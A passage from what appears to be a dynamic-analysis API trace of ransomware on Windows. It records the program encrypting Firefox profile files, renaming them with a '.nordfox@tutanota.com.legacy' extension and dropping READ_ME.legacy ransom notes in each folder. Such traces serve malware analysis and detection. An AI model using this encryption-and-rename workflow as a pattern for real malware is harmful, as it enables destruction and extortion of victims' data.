dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x33 [0182.017] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0182.017] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0182.017] WriteFile (in: hFile=0x1b58, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0182.017] WriteFile (in: hFile=0x1b58, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0182.018] CloseHandle (hObject=0x1b58) returned 1 [0182.018] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\state.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\state.json"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\state.json.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\state.json.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0182.019] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0182.019] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0182.019] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\session-state.json", dwFileAttributes=0x80) returned 1 [0182.020] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\session-state.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\session-state.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b58 [0182.020] GetFileSizeEx (in: hFile=0x1b58, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=161) returned 1 [0182.020] ReadFile (in: hFile=0x1b58, lpBuffer=0x55f030, nNumberOfBytesToRead=0xa1, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x55f030*, lpNumberOfBytesRead=0x2e1f9bc*=0xa1, lpOverlapped=0x0) returned 1 [0182.021] SetFilePointer (in: hFile=0x1b58, lDistanceToMove=-161, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.021] WriteFile (in: hFile=0x1b58, lpBuffer=0x55f0e0*, nNumberOfBytesToWrite=0xa1, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x55f0e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xa1, lpOverlapped=0x0) returned 1 [0182.021] SetFilePointer (in: hFile=0x1b58, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xa1 [0182.021] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0182.021] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0182.022] WriteFile (in: hFile=0x1b58, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0182.022] WriteFile (in: hFile=0x1b58, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0182.022] CloseHandle (hObject=0x1b58) returned 1 [0182.022] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\session-state.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\session-state.json"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\session-state.json.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\session-state.json.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0182.024] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdbd76e4, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x4079e226, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xf9361b7d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f734b0 [0182.024] SetLastError (dwErrCode=0x0) [0182.024] GetLastError () returned 0x0 [0182.024] SetLastError (dwErrCode=0x0) [0182.024] GetLastError () returned 0x0 [0182.025] SetLastError (dwErrCode=0x0) [0182.025] FindNextFileW (in: hFindFile=0x2f734b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdbd76e4, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x4079e226, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xf9361b7d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0182.025] SetLastError (dwErrCode=0x0) [0182.025] GetLastError () returned 0x0 [0182.025] SetLastError (dwErrCode=0x0) [0182.025] GetLastError () returned 0x0 [0182.025] SetLastError (dwErrCode=0x0) [0182.025] FindNextFileW (in: hFindFile=0x2f734b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9361b7d, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf9361b7d, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf9361b7d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0182.025] FindNextFileW (in: hFindFile=0x2f734b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4079e226, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4079e226, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4079e226, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="WINNT_x86_64-msvc", cAlternateFileName="WINNT_~1")) returned 1 [0182.025] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp\\WINNT_x86_64-msvc\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp\\winnt_x86_64-msvc\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b5c [0182.026] WriteFile (in: hFile=0x1b5c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0182.026] CloseHandle (hObject=0x1b5c) returned 1 [0182.026] FindNextFileW (in: hFindFile=0x2f734b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4079e226, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4079e226, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4079e226, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="WINNT_x86_64-msvc", cAlternateFileName="WINNT_~1")) returned 0 [0182.027] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40c4b15, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x40c5e7c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xf9361b7d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f734f0 [0182.027] FindNextFileW (in: hFindFile=0x2f734f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40c4b15, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x40c5e7c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xf9361b7d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0182.027] FindNextFileW (in: hFindFile=0x2f734f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40c5e7c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x40c5e7c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x40e6e0c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="1.6", cAlternateFileName="")) returned 1 [0182.027] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b60 [0182.029] WriteFile (in: hFile=0x1b60, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0182.030] CloseHandle (hObject=0x1b60) returned 1 [0182.030] FindNextFileW (in: hFindFile=0x2f734f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9361b7d, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf9361b7d, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf9361b7d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0182.030] FindNextFileW (in: hFindFile=0x2f734f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9361b7d, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf9361b7d, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf9361b7d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0182.031] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5af7cc2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5af7cc2, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xf9361b7d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d40b0 [0182.031] FindNextFileW (in: hFindFile=0x30d40b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5af7cc2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5af7cc2, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xf9361b7d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0182.031] FindNextFileW (in: hFindFile=0x30d40b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5af7cc2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5af7cc2, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5b71e56, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="1.4.8.903", cAlternateFileName="148~1.903")) returned 1 [0182.031] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b64 [0182.040] WriteFile (in: hFile=0x1b64, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0182.041] CloseHandle (hObject=0x1b64) returned 1 [0182.041] FindNextFileW (in: hFindFile=0x30d40b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9361b7d, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf9361b7d, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf9361b7d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0182.041] FindNextFileW (in: hFindFile=0x30d40b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9361b7d, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf9361b7d, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf9361b7d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0182.041] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\minidumps\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xf9361b7d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d40f0 [0182.042] FindNextFileW (in: hFindFile=0x30d40f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xf9361b7d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0182.042] FindNextFileW (in: hFindFile=0x30d40f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9361b7d, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf9361b7d, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf9361b7d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0182.042] FindNextFileW (in: hFindFile=0x30d40f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9361b7d, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf9361b7d, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf9361b7d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0182.042] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\saved-telemetry-pings\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1472dc0f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xb8d8cb9a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xf9361b7d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d4670 [0182.042] FindNextFileW (in: hFindFile=0x30d4670, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1472dc0f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xb8d8cb9a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xf9361b7d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0182.042] FindNextFileW (in: hFindFile=0x30d4670, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9361b7d, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf9361b7d, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf9361b7d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0182.042] FindNextFileW (in: hFindFile=0x30d4670, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9361b7d, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf9361b7d, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf9361b7d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0182.042] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6368e07, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xb7ea601f, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xf9387cae, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d46b0 [0182.043] FindNextFileW (in: hFindFile=0x30d46b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6368e07, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xb7ea601f, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xf9387cae, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0182.043] FindNextFileW (in: hFindFile=0x30d46b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd3e77da, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd3e77da, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd3e77da, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1f37, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="previous.js", cAlternateFileName="")) returned 1 [0182.043] FindNextFileW (in: hFindFile=0x30d46b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9387cae, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf9387cae, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf9387cae, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0182.043] FindNextFileW (in: hFindFile=0x30d46b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43824196, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x43824196, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x1407dfe9, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x36df, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="upgrade.js-20170824053622", cAlternateFileName="UPGRAD~1.JS-")) returned 1 [0182.043] FindNextFileW (in: hFindFile=0x30d46b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43824196, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x43824196, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x1407dfe9, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x36df, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="upgrade.js-20170824053622", cAlternateFileName="UPGRAD~1.JS-")) returned 0 [0182.043] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0182.043] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0182.043] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\upgrade.js-20170824053622", dwFileAttributes=0x80) returned 1 [0182.046] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\upgrade.js-20170824053622" (normalized: 